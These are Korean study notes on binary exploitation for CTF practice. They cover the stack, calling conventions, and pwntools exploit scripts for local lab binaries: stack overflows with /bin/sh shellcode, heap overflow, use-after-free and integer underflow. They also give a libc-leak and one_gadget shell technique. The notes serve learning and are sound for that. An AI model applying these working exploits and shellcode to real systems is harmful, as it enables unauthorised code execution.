# 시스템 해킹
## 메모리
### 스택
- 높은 주소에서 낮은 주소로 공간을 할당함.
- 데이터를 넣을 땐 Push, 뺄 땐 Pop(32비트에선 4바이트씩, 64비트에선 8바이트씩 이동)
- SP(Stack Pointer)
- BP(Base Pointer)
- 지역 변수, 부모 함수의 베이스 포인터, 복귀 주소가 저장됨
## 함수의 호출과 복귀
### 함수 프롤로그
```
push rbp
mov rbp, rsp
```
1. 부모 함수의 베이스 포인터 백업
2. 새 베이스 포인터 선언
### 함수 에필로그
```
leave :
mov rsp, rbp
pop rbp
ret :
pop rip
```
함수의 구조나 운영체제, 버전 별로 조금씩 다를 수 있음
가장 통용되는 에필로그 명령은 위와 같음.
1. RBP 레지스터의 값을 부모 함수의 베이스로 복구
2. 복귀 주소로 복귀
### 함수 호출 규약(Calling Convention)
운영체제 별로 상이
64비트 리눅스의 경우 다음과 같음
```
rdi rsi rcx rdx r8 r9 stack..
```
## bof1
gdb 내에서 표준 입력 값 전달의 예
```
r <<< `perl -e 'print "A"x4,"B"x4'`
```
파이썬 스크립트
```python
from pwn import *
payload = b""
payload += b"A" * 0x208
payload += p64(0x4011dd)
p = process("./bof1")
print(p.recv(1024))
# gdb.attach(p)
# pause()
p.send(payload)
p.interactive()
```
## bof2
```python
from pwn import *
p = process("./bof2")
sc = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
output = p.recv(1024)
addr = output.split(b' @ ')[1].split(b'\n')[0]
addr = int(addr.decode(), 16)
payload = sc
payload += b"A" * (0x208 - len(sc))
payload += p64(addr)
gdb.attach(p)
pause()
p.send(payload)
p.interactive()
```
## Advanced Buffer Overflow
1. 복귀 주소 조작 불가능
2. 내가 조작할 수 있는 데이터는 어떤 기능을 가지고 있는가?
RIP는 명령(셸코드)이 담긴 **주소**가 저장되는 레지스터.
그러므로, ***RIP에 셸코드가 담긴 주소가 입력***되도록 페이로드를 구성
```
from pwn import *
p = process("./advanced_bof")
sc = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
output = p.recv(1024)
addr = output.split(b' @ ')[1].split(b'\n')[0]
addr = int(addr.decode(), 16)
payload = p64(addr + 8)
payload += sc
payload += b"A" * (0x200 - len(payload))
payload += p64(addr - 8)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
```
## 심심한 사람을 위한 간단 BOF
```
wget https://tinyurl.com/smww7mjv -O bof.zip
```
압축 해제 시 src, Makefile, flag 파일 존재, 해당 위치에서 아래 명령 실행
```
make
```
명령어 입력 시 babyBof 바이너리 생성
해당 바이너리에는 **PIE**가 활성화 되어있음.
따라서 함수 주소가 실행 시마다 변경됨.
```
gdb -q babyBof
(peda) start
(peda) pd main
```
gdb로 디버깅 하려면, start 명령을 통해 메모리에 적재(실행)되어야만 실제 함수 주소 획득 가능
=> gdb를 통해 실행 시 매번 주소가 같지만, 실제로 파이썬을 통해 실행된 바이너리에 연결해보면 매번 주소가 달라짐을 알 수 있음
**목표는 getflag() 함수의 호출**
어렵게 생각하면 못 풀고, 실행을 반복하면서 메모리를 잘 관찰해야함. 기술적 테크닉 보단 센스를 요구하는 문제.
### Heap Based Buffer Overflow(Heap Overflow)

```python=
from pwn import *
p = process("./heap_overflow")
# gdb.attach(p)
# pause()
def create():
# menu
p.recvuntil(b"> ")
p.send(b"1\n")
def insert(idx, data):
# menu
p.recvuntil(b"> ")
p.send(b"2\n")
# select idx
p.recvuntil(b"> ")
p.send(idx + b'\n')
# input
p.recvuntil(b"> ")
p.send(data + b'\n')
def modify(idx, data):
# menu
p.recvuntil(b"> ")
p.send(b"3\n")
# select idx
p.recvuntil(b"> ")
p.send(idx + b'\n')
# input
p.recvuntil(b"> ")
p.send(data + b'\n')
create()
insert(b"0", b"AAAA")
create()
insert(b"1", b"AAAA")
payload = b"\x41" * 0x20
payload += p64(0x404090) # flag's address
modify(b"0", payload)
payload = p32(0x31337)
modify(b"1", payload)
p.recvuntil(b"\n")
print(p.recv(1024))
p.interactive()
```
캐스팅 해서 출력
```
p *(struct Data*)0x00000000004052a0
```
#### 셸?
보통 CTF 문제면 셸을 획득해야함
임의 주소에 대해 데이터를 읽고 쓸 수 있으면(**AARW**, **A**rbitrary **A**ddress **R**ead/**W**rite Primitive)
통상적으로 아래와 같은 방식으로 셸을 획득할 수 있음.
이건 중요한 건 아닌데, (기법 자체가 리눅스 유저레벨에서만 쓸 수 있으니)
보통 ctf 포너블 문제가 ELF 바이너리로 출제되고, 아래와 같은 방식으로 풀이하므로
대회를 나가거나 문제를 풀 생각이 있다면 알아둬야 함.
```python=
libc_bin = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin = ELF("./heap_overflow")
printf_in_libc = libc_bin.symbols["printf"]
environ = libc_bin.symbols["environ"]
printf_in_bin = bin.got["printf"]
# printf_in_bin 안에 저장된 포인터를 읽어서 printf 라이브러리 주소 획득
# 획득한 printf 주소에서 printf_in_libc를 빼서, libc의 시작 주소 획득
# libc의 시작 주소에서 environ을 더해 environ 주소를 획득하고, 해당 주소를 읽으면 스택 주소를 획득할 수 있음
# 획득한 스택 주소를 디버거에서 쭉 훑어보면서 리턴 주소를 찾음
# 획득한 스택 주소에서, 대상이 될 리턴 어드레스까지의 거리를 알아야 함
# 획득한 주소 - 거리 = 리턴 어드레스
# 스택의 주소는 매번 바뀌기 때문에.. 거리를 계산한 후에 획득한 스택 주소에서 해당 값을 뺴는 것.
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# 리턴 주소에 one_gadget으로 획득한 주소를 쓰면, 셸을 획득할 수 있음
```
heap_overflow.c의 readData 함수 코드를 아래와 같이 수정 후 진행
```clike
void readData(){
...
write(1, data->ptr, data->size);
// printf("[+] Data : %s\n\n", data->ptr);
return;
}
```
보통 읽고 쓰는 기능을 함수로 정의해서 사용함.
기존 익스플로잇 코드에 아래 내용을 추가
```python=
def readData(idx):
# menu
p.recvuntil(b"> ")
p.send(b"4\n")
p.recvuntil(b"> ")
p.send(idx + b'\n')
return p.recv(8)
create()
insert(b"0", b"AAAAAAAA")
create()
insert(b"1", b"AAAAAAAA")
def read64(addr:int):
payload = b"\x41" * 0x20
payload += p64(addr)
modify(b"0", payload)
return u64(readData(b"1"))
def write64(addr:int, val:int, is32 = False):
payload = b"\x41" * 0x20
payload += p64(addr)
modify(b"0", payload)
if is32:
modify(b"1", p32(val))
else:
modify(b"1", p64(val))
print(hex(read64(0x404098)))
write64(0x404098, 0x31337, True)
```
아래는 실제 출제된 포너블 문제의 풀이에서, 셸을 획득하는 부분의 코드임
문제 혹은 바이너리 별로 AARW를 구현하는 방법은 각자 다르지만, 이후의 익스플로잇 흐름은 사실상 대동소이함.
위 익스플로잇에도 거의 똑같이 적용 가능한듯?
```python=
write_in_libc = read64(write_got)
libcbase = write_in_libc - write_in_libc_offset
print(f"libcbase: {hex(libcbase)}")
environ_in_libc = libcbase + environ_in_libc_offset
stack = read64(environ_in_libc)
print(f"stack: {hex(stack)}")
stackToRet = 0x140
ret = stack - stackToRet
one_gadget_offset = 0xebd43
oneshot = libcbase + one_gadget_offset
writeRET(ret, oneshot)
```
Lazy Binding, Dynamic Linking
### Use After Free

```python=
from pwn import *
p = process("./use_after_free")
# gdb.attach(p)
flag = 0x404070
def setString(data):
# menu
p.recvuntil(b"> ")
p.send(b"1\n")
p.recvuntil(b"> ")
p.sendline(data)
def delString():
# menu
p.recvuntil(b"> ")
p.sendline(b"3\n")
def setNum(data):
# menu
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"> ")
p.sendline(data)
setString(b"AAAA")
delString()
setNum(f"{flag}".encode()) # p64(flag)
setString(p32(0x31337))
print(p.recv(1024))
```
### Integer Over/Underflow(Dict)
수를 표현하는 데이터 타입((u)int, (u)char, (u)short..)에서, 연산에 의해 해당 데이터 타입이 표현할 수 있는 값의 범위를 벗어났을 때 발생하는 취약점.
```c
unsigned int a = 0xffffffff;
a += 1;
printf("%u\n", a); // => 0
unsigned int b = 0;
b -= 1;
printf("%u\n", b) // => 4294967295
```
dict.c
```c
// 새로 입력할 값의 크기 > 남은 공간의 크기
if(len > DICT_SIZE - 2 - dicts[idx]->curSz)
return -1;
```
curSz는 최대 DICT_SIZE만큼 증가할 수 있는데,
**DICT_SIZE - 1** 이상의 값을 가질 때부터, 우항의 연산 결과가 **음수(Integer Underflow)** 가 되어 매우 큰 값으로 인식.
결과적으로 **남은 공간의 크기** 가 매우 큰 값으로 인식되어
**Heap Overflow**로 이어지게 됨
```python=
from pwn import *
p = process('./dict')
flag = 0x404150
def createDict():
p.recvuntil(b'> ')
p.send(b'1\n')
def insert(idx, key, value):
p.recvuntil(b'> ')
p.send(b'2\n')
p.recvuntil(b'Dict idx > ')
p.sendline(idx)
p.recvuntil(b'Key > ')
p.send(key)
p.recvuntil(b'Value > ')
p.send(value)
createDict()
createDict()
for i in range(25):
insert(b"0", b"a" * 32, b"b"*128)
sleep(0.1)
insert(b"0", b"a" * 32, b"b"*11)
insert(b"0", b"A" * 16 + b"\x00" * 8 + p64(flag - 1), b"b" * 1)
insert(b"1", p64(0x31337), b"d")
p.interactive()
```
#### Overflow의 예
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
struct Wrapper{
uint32_t cnt;
struct structExample* arr;
};
struct structExample{
int a;
int b;
void * ptr;
};
struct structExample* createExampleArr(uint32_t cnt){
uint32_t sz = cnt * sizeof(struct structExample);
struct structExample* t = malloc(sz);
memset(t, 0, sz);
return t;
}
int main(){
uint32_t cnt;
scanf("%d", &cnt);
struct Wrapper * w = malloc(sizeof(struct Wrapper));
w->cnt = cnt;
w->arr = createExampleArr(cnt);
for(int i = 0; i < w->cnt; i++){
w->arr[i].a = 4;
w->arr[i].b = 5;
w->arr[i].ptr = NULL;
}
getchar();
}
```